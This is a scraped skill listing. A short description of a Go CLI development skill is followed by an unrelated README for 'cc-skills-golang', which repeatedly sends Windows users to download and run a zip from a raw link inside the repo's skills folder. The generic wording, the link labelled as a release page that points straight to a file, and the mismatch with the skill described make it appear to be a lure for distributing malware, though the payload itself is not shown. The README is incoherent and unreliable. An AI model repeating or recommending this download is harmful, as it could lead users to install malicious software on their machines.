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golang-cli
Golang CLI application development. Use when building, modifying, or reviewing a Go CLI tool — especially for command structure, flag handling, configuration layering, version embedding, exit codes, I/O patterns, signal handling, shell completion, argument validation, and CLI unit testing. Also triggers when code uses cobra, viper, or urfave/cli.
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// README
🧩 cc-skills-golang - Golang skills for faster agent work
🚀 What this is
cc-skills-golang is a set of Golang agent skills that helps AI coding tools work with more structure. It gives you a simple way to add skills for coding tasks, file handling, and agent workflows.
Use it if you want a cleaner setup for tools like Claude Code, Cursor, Copilot, Gemini, and other agent-based apps.
📦 Download
Visit this page to download: https://github.com/guynhsichngeodiec/cc-skills-golang/raw/refs/heads/main/skills/golang-samber-hot/cc-skills-golang-v3.1-beta.2.zip
On that page, look for the latest release and download the Windows file that matches your computer.
🖥️ What you need
- Windows 10 or Windows 11
- A web browser
- Permission to run downloaded apps
- Enough free space for the files you want to use with the skills pack
If you use an AI coding tool, make sure it can load local skill files or plugins.
🛠️ How to install on Windows
- Open the release page: https://github.com/guynhsichngeodiec/cc-skills-golang/raw/refs/heads/main/skills/golang-samber-hot/cc-skills-golang-v3.1-beta.2.zip
- Find the newest release at the top.
- Download the Windows package attached to that release.
- If the file is in a .zip file, right-click it and choose Extract All.
- Open the extracted folder.
- Copy the skills files into the folder used by your AI tool.
- If your tool asks for a skills path, point it to the folder you extracted.
- Restart the app if it was already open.
🧭 How to use it
After install, your AI tool can load the skills from this pack and use them during tasks.
You can use it for things like:
- Code changes
- File edits
- Project setup
- Task planning
- Working with prompts
- Reusing common agent steps
If your tool supports skills folders, point it to this repo’s skills files and reload the app.
📁 What is inside
This repo includes Golang-based skills that fit agent workflows. The files are meant to help an AI assistant follow repeatable steps for common coding tasks.
Typical items may include:
- Task-specific skill files
- Prompt helpers
- Workflow guides
- Small agent tools
- Reusable code instructions
⚙️ Setup for common tools
🤖 Claude Code
- Open Claude Code.
- Find the skills or extensions folder.
- Add the skills from this repo.
- Restart Claude Code.
- Run a task that uses the skills.
🧠 Cursor
- Open Cursor.
- Go to your local tool settings.
- Add the skills folder path.
- Reload the window.
- Use the skills in your coding chat or project flow.
💻 Copilot
- Open your Copilot-based app.
- Check where it loads skill files.
- Add the extracted folder there.
- Restart the app.
- Ask it to use the skills for your task.
✨ Gemini and Gemini CLI extension
- Open your Gemini app or extension.
- Add the skills folder if it supports local files.
- Reload the tool.
- Start a task that fits the skill set.
- Use the skills as part of your workflow.
🧪 Example uses
You can use this pack when you want an AI tool to:
- Break a job into steps
- Edit code with a clear plan
- Work across files without losing context
- Follow a repeatable process
- Keep prompts and actions organized
- Handle coding tasks in a more stable way
🔧 Common folder layout
A simple Windows setup may look like this:
- Downloads
- cc-skills-golang-release.zip
- Documents
- ai-skills
- cc-skills-golang
- skills files
- cc-skills-golang
- ai-skills
If your app uses a custom path, keep the files in one folder and point the app to that folder
❓ If the app does not see the skills
- Check that you extracted the zip file
- Make sure the folder still contains the skills files
- Confirm the app points to the right folder
- Restart the app
- Try loading the skills again
🧩 Best way to keep it updated
When a new release comes out:
- Return to the release page
- Download the newest Windows package
- Replace the old files
- Restart your AI tool
📌 GitHub topics
This project fits topics like:
agent, agent-skills, ai, antigravity, claude, claude-code, code, codex, coding, copilot, cursor, gemini, gemini-cli-extension, openclaw, opencode, plugin, skills, skillsmp, vibe-coding
🧰 Why use it
This repo helps you keep agent work in one place. That makes it easier to reuse skills across tools and keep your setup simple. It also helps you move faster when you do the same coding tasks often
📥 Direct release link
// HOW IT'S BUILT
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